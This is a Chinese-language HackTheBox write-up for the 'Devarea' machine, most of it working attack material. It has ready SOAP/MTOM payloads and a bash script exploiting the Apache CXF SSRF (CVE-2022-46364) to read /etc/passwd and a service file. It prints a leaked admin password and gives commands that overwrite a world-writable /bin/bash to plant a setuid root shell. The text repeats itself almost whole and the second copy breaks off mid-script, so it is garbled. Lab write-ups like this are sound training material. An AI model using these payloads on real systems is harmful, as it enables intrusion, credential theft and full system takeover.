HackTheBox Devarea Writeup

HackTheBox Devarea 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb devarea

枚举

# Nmap 7.98 scan initiated Sun Mar 29 07:08:54 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159
Nmap scan report for 10.129.10.159
Host is up (0.42s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.55
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:25 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:04 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:05 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: BAA090FBC1418C8C4971002CC5459574
|_http-title: Hoverfly Dashboard

反编译Jar

匿名进入FTP,下载employee-service.jar 并反编译。在htb.devarea.ServerStarter中可以发现

public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}

访问http://localhost:8080/employeeservice?wsdl 得到XML

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

当提交SOAP Envelope时会交给CXF处理

并在employee-service/org/apache/cxf/version/version.properties发现Apache CXF 3.2.14

SSRF

搜索即可发现**CVE-2022-46364:在解析 MTOM 请求中 XOP:Include 的 href 属性时存在 SSRF 漏洞,允许攻击者对至少接受任何类型参数的一个参数的 webservice 执行 SSRF 风格的攻击。**

创建payload.txt

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
nc -lvnp 8000
curl -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @payload.txt

image 176.png

通过此文件可以读取文件/etc/passwd

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--

得到用户:dev_ryan

写一个脚本

#!/bin/bash

# 检查用户是否提供了一个参数(即想要读取的文件路径)
# $1 (全称:Positional Parameter 1,第一个位置参数) 代表你在命令行传入的第一个值
if [ -z "$1" ]; then
  echo "[-] 错误:缺少目标文件路径。"
  echo "[*] 用法: $0 <要读取的绝对路径>"
  echo "[*] 示例: $0 /etc/passwd"
  exit 1
fi

TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"

echo "[*] 正在尝试通过 SSRF/LFD 读取靶机文件: $TARGET_FILE"

# 使用 cat 命令和 EOF (全称:End Of File,文件结束符) 将多行文本写入临时文件
# 这里的变量 $TARGET_FILE 会被自动替换为你输入的路径
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF

# 发送 HTTP POST 请求,-s 参数用于静默模式隐藏进度条
curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @$PAYLOAD_FILE

echo -e "\n\n[*] 请求完成。"

# 阅后即焚,清理临时生成的 payload 文件
rm $PAYLOAD_FILE

hoverfly 运行着,尝试读取/etc/systemd/system/hoverfly.service

运行脚本./read.sh /etc/systemd/system/hoverfly.service 得到-username admin -password O7IJ27MyyXiU

USER

使用凭据可以进入到http://devarea.htb:8888/dashboard,搜索可以得到[CVE-2025-54123](https://github.com/advisories/GHSA-r4h8-hfp2-ggmf)

发送payload即可获取到dev_ryan的shell

image 177.png

ROOT

在~目录下可以发现一个我们可以使用sudo命令运行syswatch.sh的备份

#!/bin/bash
set -euo pipefail

CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")

log_message() {
    local msg="$1"
    echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
    logger -t syswatch "$msg"
}

start_web() {
    # Reload systemd in case service was just added
    systemctl daemon-reload

    # Check if the service is already active
    if systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is already running."
        return
    fi

    echo "[*] Starting SysWatch Web GUI service..."
    systemctl enable syswatch-web.service >/dev/null 2>&1
    systemctl start syswatch-web.service

    # Give a small delay for startup
    sleep 2

    if systemctl is-active --quiet syswatch-web.service; then
        echo "[+] SysWatch Web GUI started successfully!"
    else
        echo "[-] Failed to start SysWatch Web GUI."
    fi
}

# Function: stop web GUI
stop_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running."
        return
    fi

    echo "[*] Stopping SysWatch Web GUI service..."
    systemctl stop syswatch-web.service
    echo "[+] SysWatch Web GUI stopped."
}

# Function: restart/reload web GUI
reload_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running. Starting it..."
        start_web
        return
    fi

    echo "[*] Reloading SysWatch Web GUI service..."
    systemctl restart syswatch-web.service
    echo "[+] SysWatch Web GUI reloaded successfully!"
}

# Function: show status
status_web() {
    systemctl status syswatch-web.service --no-pager  --lines=0
}

execute_plugin() {
    local plugin="$1"; shift
    if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
        echo "Invalid plugin name" >&2
        return 1
    fi
    local fullpath="$PLUGIN_DIR/$plugin"
    [ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
    log_message "Executing plugin: $plugin $*"
    local run_root=0
    for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
        if [ "$plugin" = "$p" ]; then
            run_root=1
            break
        fi
    done
    if [ "$run_root" -eq 1 ]; then
        bash "$fullpath" "$@"
    else
        runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
    fi
}

list_plugins() {
    local files
    files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
    [ -z "${files:-}" ] && return
    while IFS= read -r f; do
        [ -z "$f" ] && continue
        local skip=0
        for ex in "${LIST_EXCLUDE[@]}"; do
            if [ "$f" = "$ex" ]; then
                skip=1
                break
            fi
        done
        [ "$skip" -eq 1 ] && continue
        echo " - $f"
    done <<< "$files"
}

view_logs() {
    local arg="${1:-}"

    # ---- LIST MODE ----
    if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
        local found=0
        for p in "$LOG_DIR"/*.log; do
            [ -e "$p" ] || continue
            [ -L "$p" ] && continue       # skip symlinks in list
            [ -f "$p" ] || continue
            echo " - $(basename "$p")"
            found=1
        done
        [ "$found" -eq 0 ] && echo "[No logs found]"
        return
    fi

    # FILE NAME VALIDATION
    local file="${arg:-system.log}"
    if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
        echo "[Invalid log filename]: $file"
        return 1
    fi

    local path="$LOG_DIR/$file"
    if [ -L "$path" ]; then
        local target
        target=$(ls -l "$path" | awk '{print $NF}')

        if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
            echo "[Blocked unsafe symlink target]: $file -> $target"
            return 1
        fi

        if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
            local resolved="$LOG_DIR/$target"
            if [ -f "$resolved" ]; then
                cat "$resolved"
                return
            else
                echo "[Symlink target not found]: $file -> $target"
                return 1
            fi
        fi

        if [[ "$target" == /var/log/* ]]; then
            [ -f "$target" ] && cat "$target" && return
            echo "[Symlink target not regular file]: $file -> $target"
            return 1
        fi

        echo "[Refusing unsafe symlink]: $file -> $target"
        return 1
    fi

    if [[ "$file" == */* || "$file" == *".."* ]]; then
        echo "[Blocked unsafe filename]: $file"
        return 1
    fi

    if [ -f "$path" ]; then
        cat "$path"
    else
        echo "[Log file not found]: $file"
    fi
}

usage() {
    echo "SysWatch $VERSION"
    echo "Usage: $0 <command> [args]"
    echo "Commands:"
    echo "  web                 Start web GUI"
    echo "  web-stop            Stop web GUI"
    echo "  web-restart         Restart web GUI"
    echo "  web-status          Show web GUI status"
    echo "  plugin <name> [args] Execute plugin"
    echo "  plugins             List available plugins"
    echo "  logs <file>         View log file"
    echo "  logs --list         List available log files"
    echo "  --version           Show version"
    echo "  --help|-h|help      Show this help"
}

main() {
    case "${1:-}" in
        web) start_web ;;
        web-stop) stop_web ;;
        web-restart|web-reload) reload_web ;;
        web-status) status_web ;;
        plugin) shift; execute_plugin "$@" ;;
        plugins) list_plugins ;;
        logs) shift; view_logs "$@" ;;
        --version) echo "$VERSION" ;;
        help|--help|-h) usage ;;
        *)
            usage
            ;;
    esac
}

if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

分析脚本可以得到一个漏洞:

# syswatch.sh 里是:
bash "$fullpath" "$@"

# 不是:
/usr/bin/bash "$fullpath" "$@"

不写绝对路径,系统就会按 $PATH 顺序查找 bash,第一个找到的就是 /bin/bash(即 /usr/bin/bash)。

ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /usr/bin/bash
# 直接覆盖 bash 为恶意脚本
cp /bin/bash /tmp/bash.bak  # 先备份

cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF

#切换到sh,防止bash掉线
sh
killall -9 bash

# 覆盖 bash
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash

# 触发(syswatch.sh 调用 bash,以 root 执行)
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh

# 检查结果
ls -la /tmp/rootsh
/tmp/rootsh -p

HTB devarea

枚举

# Nmap 7.98 scan initiated Sun Mar 29 07:08:54 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159
Nmap scan report for 10.129.10.159
Host is up (0.42s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.55
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:25 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:04 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:05 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: BAA090FBC1418C8C4971002CC5459574
|_http-title: Hoverfly Dashboard

反编译Jar

匿名进入FTP,下载employee-service.jar 并反编译。在htb.devarea.ServerStarter中可以发现

public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}

访问http://localhost:8080/employeeservice?wsdl 得到XML

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

当提交SOAP Envelope时会交给CXF处理

并在employee-service/org/apache/cxf/version/version.properties发现Apache CXF 3.2.14

SSRF

搜索即可发现**CVE-2022-46364:在解析 MTOM 请求中 XOP:Include 的 href 属性时存在 SSRF 漏洞,允许攻击者对至少接受任何类型参数的一个参数的 webservice 执行 SSRF 风格的攻击。**

创建payload.txt

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
nc -lvnp 8000
curl -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @payload.txt

image 176.png

通过此文件可以读取文件/etc/passwd

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--

得到用户:dev_ryan

写一个脚本

#!/bin/bash

# 检查用户是否提供了一个参数(即想要读取的文件路径)
# $1 (全称:Positional Parameter 1,第一个位置参数) 代表你在命令行传入的第一个值
if [ -z "$1" ]; then
  echo "[-] 错误:缺少目标文件路径。"
  echo "[*] 用法: $0 <要读取的绝对路径>"
  echo "[*] 示例: $0 /etc/passwd"
  exit 1
fi

TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"

echo "[*] 正在尝试通过 SSRF/LFD 读取靶机文件: $TARGET_FILE"

# 使用 cat 命令和 EOF (全称:End Of File,文件结束符) 将多行文本写入临时文件
# 这里的变量 $TARGET_FILE 会被自动替换为你输入的路径
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF

# 发送 HTTP POST 请求,-s 参数用于静默模式隐藏进度条
curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @$PAYLOAD_FILE

echo -e "\n\n[*] 请求完成。"

# 阅后即焚,清理临时生成的 payload 文件
rm $PAYLOAD_FILE

hoverfly 运行着,尝试读取/etc/systemd/system/hoverfly.service

运行脚本./read.sh /etc/systemd/system/hoverfly.service 得到-username admin -password O7IJ27MyyXiU

USER

使用凭据可以进入到http://devarea.htb:8888/dashboard,搜索可以得到[CVE-2025-54123](https://github.com/advisories/GHSA-r4h8-hfp2-ggmf)

发送payload即可获取到dev_ryan的shell

image 177.png

ROOT

在~目录下可以发现一个我们可以使用sudo命令运行syswatch.sh的备份

#!/bin/bash
set -euo pipefail

CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")

log_message() {
    local msg="$1"
    echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
    logger -t syswatch "$msg"
}

start_web() {
    # Reload systemd in case service was just added
    systemctl daemon-reload

    # Check if the service is already active
    if systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is already running."
        return
    fi

    echo "[*] Starting SysWatch Web GUI service..."
    systemctl enable syswatch-web.service >/dev/null 2>&1
    systemctl start syswatch-web.service

    # Give a small delay for startup
    sleep 2

    if systemctl is-active --quiet syswatch-web.service; then
        echo "[+] SysWatch Web GUI started successfully!"
    else
        echo "[-] Failed to start SysWatch Web GUI."
    fi
}

# Function: stop web GUI
stop_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running."
        return
    fi

    echo "[*] Stopping SysWatch Web GUI service..."
    systemctl stop syswatch-web.service
    echo "[+] SysWatch Web GUI stopped."
}

# Function: restart/reload web GUI
reload_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running. Starting it..."
        start_web
        return
    fi

    echo "[*] Reloading SysWatch Web GUI service..."
    systemctl restart syswatch-web.service
    echo "[+] SysWatch Web GUI reloaded successfully!"
}

# Function: show status
status_web() {
    systemctl status syswatch-web.service --no-pager  --lines=0
}

execute_plugin() {
    local plugin="$1"; shift
    if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
        echo "Invalid plugin name" >&2
        return 1
    fi
    local fullpath="$PLUGIN_DIR/$plugin"
    [ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
    log_message "Executing plugin: $plugin $*"
    local run_root=0
    for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
        if [ "$plugin" = "$p" ]; then
            run_root=1
            break
        fi
    done
    if [ "$run_root" -eq 1 ]; then
        bash "$fullpath" "$@"
    else
        runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
    fi
}

list_plugins() {
    local files
